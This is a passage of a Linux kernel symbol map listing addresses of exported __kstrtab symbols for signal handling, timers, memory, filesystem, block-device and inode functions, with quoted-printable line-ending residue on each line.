10315a08 r __kstrtab_try_acquire_console_sem=0A=
10315a20 r __kstrtab_acquire_console_sem=0A=
10315a34 r __kstrtab_vprintk=0A=
10315a3c r __kstrtab_printk=0A=
10315a44 r __kstrtab_oops_in_progress=0A=
10315a58 r __kstrtab_console_printk=0A=
10315a68 r __kstrtab_profile_event_unregister=0A=
10315a84 r __kstrtab_profile_event_register=0A=
10315a9c r __kstrtab_next_thread=0A=
10315aa8 r __kstrtab_complete_and_exit=0A=
10315abc r __kstrtab_do_exit=0A=
10315ac4 r __kstrtab_exit_fs=0A=
10315acc r __kstrtab_put_files_struct=0A=
10315ae0 r __kstrtab_daemonize=0A=
10315aec r __kstrtab_disallow_signal=0A=
10315afc r __kstrtab_allow_signal=0A=
10315b0c r __kstrtab_jiffies=0A=
10315b14 r __kstrtab_get_jiffies_64=0A=
10315b24 r __kstrtab_getnstimestamp=0A=
10315b34 r __kstrtab_getnstimeofday=0A=
10315b44 r __kstrtab_timespec_trunc=0A=
10315b54 r __kstrtab_current_fs_time=0A=
10315b64 r __kstrtab_current_kernel_time=0A=
10315b78 r __kstrtab_sys_tz=0A=
10315b80 r __kstrtab_tasklet_kill=0A=
10315b90 r __kstrtab_tasklet_init=0A=
10315ba0 r __kstrtab___tasklet_hi_schedule=0A=
10315bb8 r __kstrtab___tasklet_schedule=0A=
10315bcc r __kstrtab_open_softirq=0A=
10315bdc r __kstrtab_raise_softirq_irqoff=0A=
10315bf4 r __kstrtab_local_bh_enable=0A=
10315c04 r __kstrtab_do_softirq=0A=
10315c10 r __kstrtab_irq_stat=0A=
10315c1c r __kstrtab___release_region=0A=
10315c30 r __kstrtab___check_region=0A=
10315c40 r __kstrtab___request_region=0A=
10315c54 r __kstrtab_adjust_resource=0A=
10315c64 r __kstrtab_insert_resource=0A=
10315c74 r __kstrtab_allocate_resource=0A=
10315c88 r __kstrtab_release_resource=0A=
10315c9c r __kstrtab_____request_resource=0A=
10315cb4 r __kstrtab_request_resource=0A=
10315cc8 r __kstrtab_iomem_resource=0A=
10315cd8 r __kstrtab_ioport_resource=0A=
10315ce8 r __kstrtab_unregister_sysctl_table=0A=
10315d00 r __kstrtab_sysctl_string=0A=
10315d10 r __kstrtab_sysctl_ms_jiffies=0A=
10315d24 r __kstrtab_sysctl_jiffies=0A=
10315d34 r __kstrtab_sysctl_intvec=0A=
10315d44 r __kstrtab_register_sysctl_table=0A=
10315d5c r __kstrtab_proc_doulongvec_ms_jiffies_minmax=0A=
10315d80 r __kstrtab_proc_doulongvec_minmax=0A=
10315d98 r __kstrtab_proc_dostring=0A=
10315da8 r __kstrtab_proc_dointvec_ms_jiffies=0A=
10315dc4 r __kstrtab_proc_dointvec_userhz_jiffies=0A=
10315de4 r __kstrtab_proc_dointvec_minmax=0A=
10315dfc r __kstrtab_proc_dointvec_jiffies=0A=
10315e14 r __kstrtab_proc_dointvec=0A=
10315e24 r __kstrtab_cap_bset=0A=
10315e30 r __kstrtab_securebits=0A=
10315e3c r __kstrtab_msleep_interruptible=0A=
10315e54 r __kstrtab_msleep=0A=
10315e5c r __kstrtab_schedule_timeout_uninterruptible=0A=
10315e80 r __kstrtab_schedule_timeout_interruptible=0A=
10315ea0 r __kstrtab_schedule_timeout=0A=
10315eb4 r __kstrtab_xtime_lock=0A=
10315ec0 r __kstrtab_avenrun=0A=
10315ec8 r __kstrtab_xtime=0A=
10315ed0 r __kstrtab_del_timer=0A=
10315edc r __kstrtab_mod_timer=0A=
10315ee8 r __kstrtab___mod_timer=0A=
10315ef4 r __kstrtab_init_timer=0A=
10315f00 r __kstrtab___init_timer_base=0A=
10315f14 r __kstrtab_jiffies_64=0A=
10315f20 r __kstrtab_unblock_all_signals=0A=
10315f34 r __kstrtab_block_all_signals=0A=
10315f48 r __kstrtab_sigprocmask=0A=
10315f54 r __kstrtab_send_sig_info=0A=
10315f64 r __kstrtab_send_sig=0A=
10315f70 r __kstrtab_ptrace_notify=0A=
10315f80 r __kstrtab_kill_proc=0A=
10315f8c r __kstrtab_kill_pg=0A=
10315f94 r __kstrtab_force_sig=0A=
10315fa0 r __kstrtab_flush_signals=0A=
10315fb0 r __kstrtab_dequeue_signal=0A=
10315fc0 r __kstrtab_recalc_sigpending=0A=
10315fd4 r __kstrtab_kill_proc_info_as_uid=0A=
10315fec r __kstrtab_uts_sem=0A=
10315ff4 r __kstrtab_in_egroup_p=0A=
10316000 r __kstrtab_in_group_p=0A=
1031600c r __kstrtab_set_current_groups=0A=
10316020 r __kstrtab_groups_free=0A=
1031602c r __kstrtab_groups_alloc=0A=
1031603c r __kstrtab_kernel_power_off=0A=
10316050 r __kstrtab_kernel_halt=0A=
1031605c r __kstrtab_kernel_kexec=0A=
1031606c r __kstrtab_kernel_restart=0A=
1031607c r __kstrtab_emergency_restart=0A=
10316090 r __kstrtab_unregister_reboot_notifier=0A=
103160ac r __kstrtab_register_reboot_notifier=0A=
103160c8 r __kstrtab_notifier_call_chain=0A=
103160dc r __kstrtab_notifier_chain_unregister=0A=
103160f8 r __kstrtab_notifier_chain_register=0A=
10316110 r __kstrtab_fs_overflowgid=0A=
10316120 r __kstrtab_fs_overflowuid=0A=
10316130 r __kstrtab_call_usermodehelper_keys=0A=
1031614c r __kstrtab_request_module=0A=
1031615c r __kstrtab_flush_scheduled_work=0A=
10316174 r __kstrtab_schedule_delayed_work_on=0A=
10316190 r __kstrtab_schedule_delayed_work=0A=
103161a8 r __kstrtab_schedule_work=0A=
103161b8 r __kstrtab_destroy_workqueue=0A=
103161cc r __kstrtab_flush_workqueue=0A=
103161dc r __kstrtab_queue_delayed_work=0A=
103161f0 r __kstrtab_queue_work=0A=
103161fc r __kstrtab___create_workqueue=0A=
10316210 r __kstrtab_cancel_rearming_delayed_work=0A=
10316230 r __kstrtab_cancel_rearming_delayed_workqueue=0A=
10316254 r __kstrtab_find_task_by_pid_type=0A=
1031626c r __kstrtab_synchronize_kernel=0A=
10316280 r __kstrtab_synchronize_rcu=0A=
10316290 r __kstrtab_call_rcu_bh=0A=
1031629c r __kstrtab_call_rcu=0A=
103162a8 r __kstrtab_rcu_batches_completed=0A=
103162c0 r __kstrtab_rcu_barrier=0A=
103162cc r __kstrtab_inter_module_put=0A=
103162e0 r __kstrtab_inter_module_get_request=0A=
103162fc r __kstrtab_inter_module_unregister=0A=
10316314 r __kstrtab_inter_module_register=0A=
1031632c r __kstrtab_param_get_string=0A=
10316340 r __kstrtab_param_set_copystring=0A=
10316358 r __kstrtab_param_array_get=0A=
10316368 r __kstrtab_param_array_set=0A=
10316378 r __kstrtab_param_get_invbool=0A=
1031638c r __kstrtab_param_set_invbool=0A=
103163a0 r __kstrtab_param_get_bool=0A=
103163b0 r __kstrtab_param_set_bool=0A=
103163c0 r __kstrtab_param_get_charp=0A=
103163d0 r __kstrtab_param_set_charp=0A=
103163e0 r __kstrtab_param_get_ulong=0A=
103163f0 r __kstrtab_param_set_ulong=0A=
10316400 r __kstrtab_param_get_long=0A=
10316410 r __kstrtab_param_set_long=0A=
10316420 r __kstrtab_param_get_uint=0A=
10316430 r __kstrtab_param_set_uint=0A=
10316440 r __kstrtab_param_get_int=0A=
10316450 r __kstrtab_param_set_int=0A=
10316460 r __kstrtab_param_get_ushort=0A=
10316474 r __kstrtab_param_set_ushort=0A=
10316488 r __kstrtab_param_get_short=0A=
10316498 r __kstrtab_param_set_short=0A=
103164a8 r __kstrtab_param_get_byte=0A=
103164b8 r __kstrtab_param_set_byte=0A=
103164c8 r __kstrtab_do_posix_clock_nonanosleep=0A=
103164e4 r __kstrtab_do_posix_clock_notimer_create=0A=
10316504 r __kstrtab_do_posix_clock_nosettime=0A=
10316520 r __kstrtab_register_posix_clock=0A=
10316538 r __kstrtab_posix_timer_event=0A=
1031654c r __kstrtab_kthread_stop_sem=0A=
10316560 r __kstrtab_kthread_stop=0A=
10316570 r __kstrtab_kthread_bind=0A=
10316580 r __kstrtab_kthread_create=0A=
10316590 r __kstrtab_kthread_should_stop=0A=
103165a4 r __kstrtab_bit_waitqueue=0A=
103165b4 r __kstrtab_wake_up_bit=0A=
103165c0 r __kstrtab___wake_up_bit=0A=
103165d0 r __kstrtab_out_of_line_wait_on_bit_lock=0A=
103165f0 r __kstrtab___wait_on_bit_lock=0A=
10316604 r __kstrtab_out_of_line_wait_on_bit=0A=
1031661c r __kstrtab___wait_on_bit=0A=
1031662c r __kstrtab_wake_bit_function=0A=
10316640 r __kstrtab_autoremove_wake_function=0A=
1031665c r __kstrtab_finish_wait=0A=
10316668 r __kstrtab_prepare_to_wait_exclusive=0A=
10316684 r __kstrtab_prepare_to_wait=0A=
10316694 r __kstrtab_remove_wait_queue=0A=
103166a8 r __kstrtab_add_wait_queue_exclusive=0A=
103166c4 r __kstrtab_add_wait_queue=0A=
103166d4 r __kstrtab___kfifo_get=0A=
103166e0 r __kstrtab___kfifo_put=0A=
103166ec r __kstrtab_kfifo_free=0A=
103166f8 r __kstrtab_kfifo_alloc=0A=
10316704 r __kstrtab_kfifo_init=0A=
10316710 r __kstrtab_module_remove_driver=0A=
10316728 r __kstrtab_module_add_driver=0A=
1031673c r __kstrtab___symbol_get=0A=
1031674c r __kstrtab_symbol_put_addr=0A=
1031675c r __kstrtab___symbol_put=0A=
1031676c r __kstrtab_module_refcount=0A=
1031677c r __kstrtab___module_put_and_exit=0A=
10316794 r __kstrtab_unregister_module_notifier=0A=
103167b0 r __kstrtab_register_module_notifier=0A=
103167cc r __kstrtab___print_symbol=0A=
103167dc r __kstrtab_kallsyms_lookup_name=0A=
103167f4 r __kstrtab_kernel_subsys=0A=
10316804 r __kstrtab_request_irq=0A=
10316810 r __kstrtab_free_irq=0A=
1031681c r __kstrtab_enable_irq=0A=
10316828 r __kstrtab_disable_irq=0A=
10316834 r __kstrtab_disable_irq_nosync=0A=
10316848 r __kstrtab_probe_irq_off=0A=
10316858 r __kstrtab_probe_irq_mask=0A=
10316868 r __kstrtab_probe_irq_on=0A=
10316878 r __kstrtab_max_pfn=0A=
10316880 r __kstrtab_generic_file_writev=0A=
10316894 r __kstrtab_generic_file_readv=0A=
103168a8 r __kstrtab_generic_file_write=0A=
103168bc r __kstrtab_generic_file_aio_write=0A=
103168d4 r __kstrtab_generic_file_write_nolock=0A=
103168f0 r __kstrtab_generic_file_aio_write_nolock=0A=
10316910 r __kstrtab_generic_file_buffered_write=0A=
1031692c r __kstrtab_generic_file_direct_write=0A=
10316948 r __kstrtab_generic_write_checks=0A=
10316960 r __kstrtab_remove_suid=0A=
1031696c r __kstrtab_read_cache_page=0A=
1031697c r __kstrtab_generic_file_readonly_mmap=0A=
10316998 r __kstrtab_generic_file_mmap=0A=
103169ac r __kstrtab_filemap_populate=0A=
103169c0 r __kstrtab_filemap_nopage=0A=
103169d0 r __kstrtab_generic_file_sendfile=0A=
103169e8 r __kstrtab_generic_file_read=0A=
103169fc r __kstrtab_generic_file_aio_read=0A=
10316a14 r __kstrtab___generic_file_aio_read=0A=
10316a2c r __kstrtab_do_generic_mapping_read=0A=
10316a44 r __kstrtab_grab_cache_page_nowait=0A=
10316a5c r __kstrtab_find_or_create_page=0A=
10316a70 r __kstrtab_find_lock_page=0A=
10316a80 r __kstrtab_find_trylock_page=0A=
10316a94 r __kstrtab_find_get_page=0A=
10316aa4 r __kstrtab___lock_page=0A=
10316ab0 r __kstrtab_end_page_writeback=0A=
10316ac4 r __kstrtab_unlock_page=0A=
10316ad0 r __kstrtab_wait_on_page_bit=0A=
10316ae4 r __kstrtab_add_to_page_cache=0A=
10316af8 r __kstrtab_filemap_fdatawait=0A=
10316b0c r __kstrtab_sync_page_range=0A=
10316b1c r __kstrtab_filemap_flush=0A=
10316b2c r __kstrtab_filemap_fdatawrite=0A=
10316b40 r __kstrtab_mempool_free_slab=0A=
10316b54 r __kstrtab_mempool_alloc_slab=0A=
10316b68 r __kstrtab_mempool_free=0A=
10316b78 r __kstrtab_mempool_alloc=0A=
10316b88 r __kstrtab_mempool_destroy=0A=
10316b98 r __kstrtab_mempool_resize=0A=
10316ba8 r __kstrtab_mempool_create_node=0A=
10316bbc r __kstrtab_mempool_create=0A=
10316bcc r __kstrtab_contig_page_data=0A=
10316be0 r __kstrtab_si_meminfo=0A=
10316bec r __kstrtab___mod_page_state=0A=
10316c00 r __kstrtab_nr_pagecache=0A=
10316c10 r __kstrtab_nr_free_pages=0A=
10316c20 r __kstrtab_free_pages=0A=
10316c2c r __kstrtab___free_pages=0A=
10316c3c r __kstrtab_get_zeroed_page=0A=
10316c4c r __kstrtab___get_free_pages=0A=
10316c60 r __kstrtab___alloc_pages=0A=
10316c70 r __kstrtab_zone_table=0A=
10316c7c r __kstrtab_totalram_pages=0A=
10316c8c r __kstrtab_node_possible_map=0A=
10316ca0 r __kstrtab_node_online_map=0A=
10316cb0 r __kstrtab_mapping_tagged=0A=
10316cc0 r __kstrtab_test_set_page_writeback=0A=
10316cd8 r __kstrtab_clear_page_dirty_for_io=0A=
10316cf0 r __kstrtab_test_clear_page_dirty=0A=
10316d08 r __kstrtab_set_page_dirty_lock=0A=
10316d1c r __kstrtab_set_page_dirty=0A=
10316d2c r __kstrtab_redirty_page_for_writepage=0A=
10316d48 r __kstrtab___set_page_dirty_nobuffers=0A=
10316d64 r __kstrtab_write_one_page=0A=
10316d74 r __kstrtab_balance_dirty_pages_ratelimited=0A=
10316d94 r __kstrtab_laptop_mode=0A=
10316da0 r __kstrtab_read_cache_pages=0A=
10316db4 r __kstrtab_default_backing_dev_info=0A=
10316dd0 r __kstrtab_default_unplug_io_fn=0A=
10316de8 r __kstrtab_kstrdup=0A=
10316df0 r __kstrtab_kmem_cache_name=0A=
10316e00 r __kstrtab_kmem_cache_size=0A=
10316e10 r __kstrtab_kfree=0A=
10316e18 r __kstrtab_kzalloc=0A=
10316e20 r __kstrtab_kmem_cache_free=0A=
10316e30 r __kstrtab___kmalloc=0A=
10316e3c r __kstrtab_kmem_cache_alloc=0A=
10316e50 r __kstrtab_kmem_cache_destroy=0A=
10316e64 r __kstrtab_kmem_cache_shrink=0A=
10316e78 r __kstrtab_kmem_cache_create=0A=
10316e8c r __kstrtab_kmem_find_general_cachep=0A=
10316ea8 r __kstrtab_malloc_sizes=0A=
10316eb8 r __kstrtab_pagevec_lookup_tag=0A=
10316ecc r __kstrtab___pagevec_lru_add=0A=
10316ee0 r __kstrtab___pagevec_release=0A=
10316ef4 r __kstrtab___page_cache_release=0A=
10316f0c r __kstrtab_mark_page_accessed=0A=
10316f20 r __kstrtab_put_page=0A=
10316f2c r __kstrtab_invalidate_inode_pages2=0A=
10316f44 r __kstrtab_invalidate_inode_pages2_range=0A=
10316f64 r __kstrtab_invalidate_inode_pages=0A=
10316f7c r __kstrtab_truncate_inode_pages=0A=
10316f94 r __kstrtab_remove_shrinker=0A=
10316fa4 r __kstrtab_set_shrinker=0A=
10316fb4 r __kstrtab_install_page=0A=
10316fc4 r __kstrtab_blk_queue_bounce=0A=
10316fd8 r __kstrtab_vmalloc_to_pfn=0A=
10316fe8 r __kstrtab_vmalloc_to_page=0A=
10316ff8 r __kstrtab_vmtruncate=0A=
10317004 r __kstrtab_unmap_mapping_range=0A=
10317018 r __kstrtab_remap_pfn_range=0A=
10317028 r __kstrtab_vm_insert_page=0A=
10317038 r __kstrtab_get_user_pages=0A=
10317048 r __kstrtab_vmalloc_earlyreserve=0A=
10317060 r __kstrtab_high_memory=0A=
1031706c r __kstrtab_num_physpages=0A=
1031707c r __kstrtab_mem_map=0A=
10317084 r __kstrtab_max_mapnr=0A=
10317090 r __kstrtab_do_brk=0A=
10317098 r __kstrtab_do_munmap=0A=
103170a4 r __kstrtab_find_vma=0A=
103170b0 r __kstrtab_get_unmapped_area=0A=
103170c4 r __kstrtab_do_mmap_pgoff=0A=
103170d4 r __kstrtab___vm_enough_memory=0A=
103170e8 r __kstrtab_vmalloc_32=0A=
103170f4 r __kstrtab_vmalloc_node=0A=
10317104 r __kstrtab_vmalloc=0A=
1031710c r __kstrtab___vmalloc=0A=
10317118 r __kstrtab___vmalloc_node=0A=
10317128 r __kstrtab_vmap=0A=
10317130 r __kstrtab_vunmap=0A=
10317138 r __kstrtab_vfree=0A=
10317140 r __kstrtab_nonseekable_open=0A=
10317154 r __kstrtab_generic_file_open=0A=
10317168 r __kstrtab_sys_close=0A=
10317174 r __kstrtab_filp_close=0A=
10317180 r __kstrtab_sys_open=0A=
1031718c r __kstrtab_fd_install=0A=
10317198 r __kstrtab_put_unused_fd=0A=
103171a8 r __kstrtab_get_unused_fd=0A=
103171b8 r __kstrtab_dentry_open=0A=
103171c4 r __kstrtab_lookup_instantiate_filp=0A=
103171dc r __kstrtab_filp_open=0A=
103171e8 r __kstrtab_vfs_statfs=0A=
103171f4 r __kstrtab_vfs_writev=0A=
10317200 r __kstrtab_vfs_readv=0A=
1031720c r __kstrtab_iov_shorten=0A=
10317218 r __kstrtab_sys_read=0A=
10317224 r __kstrtab_vfs_write=0A=
10317230 r __kstrtab_do_sync_write=0A=
10317240 r __kstrtab_vfs_read=0A=
1031724c r __kstrtab_do_sync_read=0A=
1031725c r __kstrtab_vfs_llseek=0A=
10317268 r __kstrtab_default_llseek=0A=
10317278 r __kstrtab_no_llseek=0A=
10317284 r __kstrtab_remote_llseek=0A=
10317294 r __kstrtab_generic_file_llseek=0A=
103172a8 r __kstrtab_generic_ro_fops=0A=
103172b8 r __kstrtab_fget=0A=
103172c0 r __kstrtab_fput=0A=
103172c8 r __kstrtab_get_empty_filp=0A=
103172d8 r __kstrtab_files_stat=0A=
103172e4 r __kstrtab_unlock_buffer=0A=
103172f4 r __kstrtab_sync_dirty_buffer=0A=
10317308 r __kstrtab_submit_bh=0A=
10317314 r __kstrtab_mark_buffer_dirty=0A=
10317328 r __kstrtab_ll_rw_block=0A=
10317334 r __kstrtab_invalidate_bdev=0A=
10317344 r __kstrtab_init_buffer=0A=
10317350 r __kstrtab_generic_cont_expand=0A=
10317364 r __kstrtab_generic_commit_write=0A=
1031737c r __kstrtab_generic_block_bmap=0A=
10317390 r __kstrtab_fsync_bdev=0A=
1031739c r __kstrtab_file_fsync=0A=
103173a8 r __kstrtab_end_buffer_write_sync=0A=
103173c0 r __kstrtab_end_buffer_read_sync=0A=
103173d8 r __kstrtab_end_buffer_async_write=0A=
103173f0 r __kstrtab_cont_prepare_write=0A=
10317404 r __kstrtab_block_write_full_page=0A=
1031741c r __kstrtab_block_truncate_page=0A=
10317430 r __kstrtab_block_sync_page=0A=
10317440 r __kstrtab_block_read_full_page=0A=
10317458 r __kstrtab_block_prepare_write=0A=
1031746c r __kstrtab_block_commit_write=0A=
10317480 r __kstrtab___wait_on_buffer=0A=
10317494 r __kstrtab___brelse=0A=
103174a0 r __kstrtab___bforget=0A=
103174ac r __kstrtab_free_buffer_head=0A=
103174c0 r __kstrtab_alloc_buffer_head=0A=
103174d4 r __kstrtab_try_to_free_buffers=0A=
103174e8 r __kstrtab_nobh_truncate_page=0A=
103174fc r __kstrtab_nobh_writepage=0A=
1031750c r __kstrtab_nobh_commit_write=0A=
10317520 r __kstrtab_nobh_prepare_write=0A=
10317534 r __kstrtab_unmap_underlying_metadata=0A=
10317550 r __kstrtab_create_empty_buffers=0A=
10317568 r __kstrtab_block_invalidatepage=0A=
10317580 r __kstrtab_try_to_release_page=0A=
10317594 r __kstrtab_set_bh_page=0A=
103175a0 r __kstrtab___bread=0A=
103175a8 r __kstrtab___breadahead=0A=
103175b8 r __kstrtab___getblk=0A=
103175c4 r __kstrtab___find_get_block=0A=
103175d8 r __kstrtab_alloc_page_buffers=0A=
103175ec r __kstrtab___set_page_dirty_buffers=0A=
10317608 r __kstrtab_mark_buffer_dirty_inode=0A=
10317620 r __kstrtab_sync_mapping_buffers=0A=
10317638 r __kstrtab_mark_buffer_async_write=0A=
10317650 r __kstrtab_thaw_bdev=0A=
1031765c r __kstrtab_freeze_bdev=0A=
10317668 r __kstrtab_sync_blockdev=0A=
10317678 r __kstrtab___lock_buffer=0A=
10317688 r __kstrtab_bio_alloc_bioset=0A=
1031769c r __kstrtab_bioset_free=0A=
103176a8 r __kstrtab_bioset_create=0A=
103176b8 r __kstrtab_bio_uncopy_user=0A=
103176c8 r __kstrtab_bio_copy_user=0A=
103176d8 r __kstrtab_bio_split_pool=0A=
103176e8 r __kstrtab_bio_split=0A=
103176f4 r __kstrtab_bio_pair_release=0A=
10317708 r __kstrtab_bio_map_kern=0A=
10317718 r __kstrtab_bio_unmap_user=0A=
10317728 r __kstrtab_bio_map_user=0A=
10317738 r __kstrtab_bio_get_nr_vecs=0A=
10317748 r __kstrtab_bio_add_page=0A=
10317758 r __kstrtab_bio_hw_segments=0A=
10317768 r __kstrtab_bio_phys_segments=0A=
1031777c r __kstrtab_bio_clone=0A=
10317788 r __kstrtab___bio_clone=0A=
10317794 r __kstrtab_bio_init=0A=
103177a0 r __kstrtab_bio_endio=0A=
103177ac r __kstrtab_bio_free=0A=
103177b8 r __kstrtab_bio_put=0A=
103177c0 r __kstrtab_bio_alloc=0A=
103177cc r __kstrtab_zero_fill_bio=0A=
103177dc r __kstrtab_kern_mount=0A=
103177e8 r __kstrtab_do_kern_mount=0A=
103177f8 r __kstrtab_get_sb_single=0A=
10317808 r __kstrtab_get_sb_nodev=0A=
10317818 r __kstrtab_kill_block_super=0A=
1031782c r __kstrtab_get_sb_bdev=0A=
10317838 r __kstrtab_kill_litter_super=0A=
1031784c r __kstrtab_kill_anon_super=0A=
1031785c r __kstrtab_set_anon_super=0A=
1031786c r __kstrtab_get_super=0A=
10317878 r __kstrtab_drop_super=0A=
10317884 r __kstrtab_sget=0A=
1031788c r __kstrtab_generic_shutdown_super=0A=
103178a4 r __kstrtab_deactivate_super=0A=
103178b8 r __kstrtab_close_bdev_excl=0A=
103178c8 r __kstrtab_open_bdev_excl=0A=
103178d8 r __kstrtab_ioctl_by_bdev=0A=
103178e8 r __kstrtab_blkdev_put=0A=
103178f4 r __kstrtab_blkdev_get=0A=
10317900 r __kstrtab_bd_set_size=0A=
1031790c r __kstrtab_check_disk_change=0A=
10317920 r __kstrtab_open_by_devnum=0A=
10317930 r __kstrtab_bd_release=0A=
1031793c r __kstrtab_bd_claim=0A=
10317948 r __kstrtab_bdput=0A=
10317950 r __kstrtab_bdget=0A=
10317958 r __kstrtab_sb_min_blocksize=0A=
1031796c r __kstrtab_sb_set_blocksize=0A=
10317980 r __kstrtab_set_blocksize=0A=
10317990 r __kstrtab_I_BDEV=0A=
10317998 r __kstrtab_unregister_chrdev=0A=
103179ac r __kstrtab_register_chrdev=0A=
103179bc r __kstrtab_cdev_add=0A=
103179c8 r __kstrtab_cdev_del=0A=
103179d4 r __kstrtab_cdev_alloc=0A=
103179e0 r __kstrtab_cdev_init=0A=
103179ec r __kstrtab_alloc_chrdev_region=0A=
10317a00 r __kstrtab_unregister_chrdev_region=0A=
10317a1c r __kstrtab_register_chrdev_region=0A=
10317a34 r __kstrtab_inode_set_bytes=0A=
10317a44 r __kstrtab_inode_get_bytes=0A=
10317a54 r __kstrtab_inode_sub_bytes=0A=
10317a64 r __kstrtab_inode_add_bytes=0A=
10317a74 r __kstrtab_vfs_fstat=0A=
10317a80 r __kstrtab_vfs_lstat=0A=
10317a8c r __kstrtab_vfs_stat=0A=
10317a98 r __kstrtab_vfs_getattr=0A=
10317aa4 r __kstrtab_generic_fillattr=0A=
10317ab8 r __kstrtab_set_binfmt=0A=
10317ac4 r __kstrtab_search_binary_handler=0A=
10317adc r __kstrtab_remove_arg_zero=0A=
10317aec r __kstrtab_compute_creds=0A=
10317afc r __kstrtab_prepare_binprm=0A=
10317b0c r __kstrtab_flush_old_exec=0A=
10317b1c r __kstrtab_kernel_read=0A=
10317b28 r __kstrtab_open_exec=0A=
10317b34 r __kstrtab_setup_arg_pages=0A=
10317b44 r __kstrtab_copy_strings_kernel=0A=
10317b58 r __kstrtab_unregister_binfmt=0A=
10317b6c r __kstrtab_register_binfmt=0A=
10317b7c r __kstrtab_suid_dumpable=0A=
10317b8c r __kstrtab_generic_readlink=0A=
10317ba0 r __kstrtab_dentry_unhash=0A=
10317bb0 r __kstrtab_vfs_unlink=0A=
10317bbc r __kstrtab_vfs_symlink=0A=
10317bc8 r __kstrtab_vfs_rmdir=0A=
10317bd4 r __kstrtab_vfs_rename=0A=
10317be0 r __kstrtab_vfs_readlink=0A=
10317bf0 r __kstrtab_generic_permission=0A=
10317c04 r __kstrtab_vfs_mknod=0A=
10317c10 r __kstrtab_vfs_mkdir=0A=
10317c1c r __kstrtab_vfs_link=0A=
10317c28 r __kstrtab_vfs_follow_link=0A=
10317c38 r __kstrtab_vfs_create=0A=
10317c44 r __kstrtab_unlock_rename=0A=
10317c54 r __kstrtab_file_permission=0A=
10317c64 r __kstrtab_vfs_permission=0A=
10317c74 r __kstrtab_permission=0A=
10317c80 r __kstrtab_path_walk=0A=
10317c8c r __kstrtab_path_release=0A=
10317c9c r __kstrtab_path_lookup=0A=
10317ca8 r __kstrtab_page_symlink_inode_operations=0A=
10317cc8 r __kstrtab_page_symlink=0A=
10317cd8 r __kstrtab_page_readlink=0A=
10317ce8 r __kstrtab_page_put_link=0A=
10317cf8 r __kstrtab_page_follow_link_light=0A=
10317d10 r __kstrtab_lookup_one_len=0A=
10317d20 r __kstrtab_lookup_hash=0A=
10317d2c r __kstrtab_lock_rename=0A=
10317d38 r __kstrtab_getname=0A=
10317d40 r __kstrtab_get_write_access=0A=
10317d54 r __kstrtab_follow_up=0A=
10317d60 r __kstrtab_follow_down=0A=
10317d6c r __kstrtab___user_walk=0A=
10317d78 r __kstrtab_lookup_create=0A=
10317d88 r __kstrtab_kill_fasync=0A=
10317d94 r __kstrtab___kill_fasync=0A=
10317da4 r __kstrtab_fasync_helper=0A=
10317db4 r __kstrtab_f_setown=0A=
10317dc0 r __kstrtab_vfs_readdir=0A=
10317dcc r __kstrtab_poll_freewait=0A=
10317ddc r __kstrtab_poll_initwait=0A=
10317dec r __kstrtab_steal_locks=0A=
10317df8 r __kstrtab_lock_may_write=0A=
10317e08 r __kstrtab_lock_may_read=0A=
10317e18 r __kstrtab_posix_unblock_lock=0A=
10317e2c r __kstrtab_posix_block_lock=0A=
10317e40 r __kstrtab_locks_remove_posix=0A=
10317e54 r __kstrtab_flock_lock_file_wait=0A=
10317e6c r __kstrtab_setlease=0A=
10317e78 r __kstrtab_lease_get_mtime=0A=
10317e88 r __kstrtab___break_lease=0A=
10317e98 r __kstrtab_lease_modify=0A=
10317ea8 r __kstrtab_locks_mandatory_area=0A=
10317ec0 r __kstrtab_posix_lock_file_wait=0A=
10317ed8 r __kstrtab_posix_lock_file=0A=
10317ee8 r __kstrtab_posix_locks_deadlock=0A=
10317f00 r __kstrtab_posix_test_lock=0A=
10317f10 r __kstrtab_locks_copy_lock=0A=
10317f20 r __kstrtab_locks_init_lock=0A=
10317f30 r __kstrtab_file_lock_list=0A=
10317f40 r __kstrtab_shrink_dcache_sb=0A=
10317f54 r __kstrtab_shrink_dcache_parent=0A=
10317f6c r __kstrtab_names_cachep=0A=
10317f7c r __kstrtab_have_submounts=0A=
10317f8c r __kstrtab_find_inode_number=0A=
10317fa0 r __kstrtab_dput=0A=
10317fa8 r __kstrtab_dget_locked=0A=
10317fb4 r __kstrtab_d_validate=0A=
10317fc0 r __kstrtab_d_splice_alias=0A=
10317fd0 r __kstrtab_d_rehash=0A=
10317fdc r __kstrtab_d_prune_aliases=0A=
10317fec r __kstrtab_d_path=0A=
10317ff4 r __kstrtab_d_move=0A=
10317ffc r __kstrtab_d_lookup=0A=
10318008 r __kstrtab_d_invalidate=0A=
10318018 r __kstrtab_d_instantiate=0A=
10318028 r __kstrtab_d_find_alias=0A=
10318038 r __kstrtab_d_delete=0A=
10318044 r __kstrtab_d_alloc_root=0A=
10318054 r __kstrtab_d_alloc_anon=0A=
10318064 r __kstrtab_d_alloc=0A=
1031806c r __kstrtab_d_genocide=0A=
10318078 r __kstrtab_d_instantiate_unique=0A=
10318090 r __kstrtab_dcache_lock=0A=
1031809c r __kstrtab_sysctl_vfs_cache_pressure=0A=
103180b8 r __kstrtab_init_special_inode=0A=
103180cc r __kstrtab_inode_needs_sync=0A=
103180e0 r __kstrtab_inode_update_time=0A=
103180f4 r __kstrtab_update_atime=0A=
10318104 r __kstrtab_bmap=0A=
1031810c r __kstrtab_iput=0A=
10318114 r __kstrtab_generic_drop_inode=0A=
10318128 r __kstrtab_generic_delete_inode=0A=
10318140 r __kstrtab_remove_inode_hash=0A=
10318154 r __kstrtab___insert_inode_hash=0A=
10318168 r __kstrtab_iget_locked=0A=
10318174 r __kstrtab_iget5_locked=0A=
10318184 r __kstrtab_ilookup=0A=
1031818c r __kstrtab_ilookup5=0A=
10318198 r __kstrtab_ilookup5_nowait=0A=
103181a8 r __kstrtab_igrab=0A=
103181b0 r __kstrtab_iunique=0A=
103181b8 r __kstrtab_unlock_new_inode=0A=
103181cc r __kstrtab_new_inode=0A=
103181d8 r __kstrtab___invalidate_device=0A=
103181ec r __kstrtab_invalidate_inodes=0A=
10318200 r __kstrtab_clear_inode=0A=
1031820c r __kstrtab_inode_init_once=0A=
1031821c r __kstrtab_notify_change=0A=
1031822c r __kstrtab_inode_setattr=0A=
1031823c r __kstrtab_inode_change_ok=0A=
1031824c r __kstrtab_is_bad_inode=0A=
1031825c r __kstrtab_make_bad_inode=0A=
1031826c r __kstrtab_get_fs_type=0A=
10318278 r __kstrtab_unregister_filesystem=0A=
10318290 r __kstrtab_register_filesystem=0A=
103182a4 r __kstrtab_mark_mounts_for_expiry=0A=
103182bc r __kstrtab_do_add_mount=0A=
103182cc r __kstrtab_may_umount=0A=
103182d8 r __kstrtab_may_umount_tree=0A=
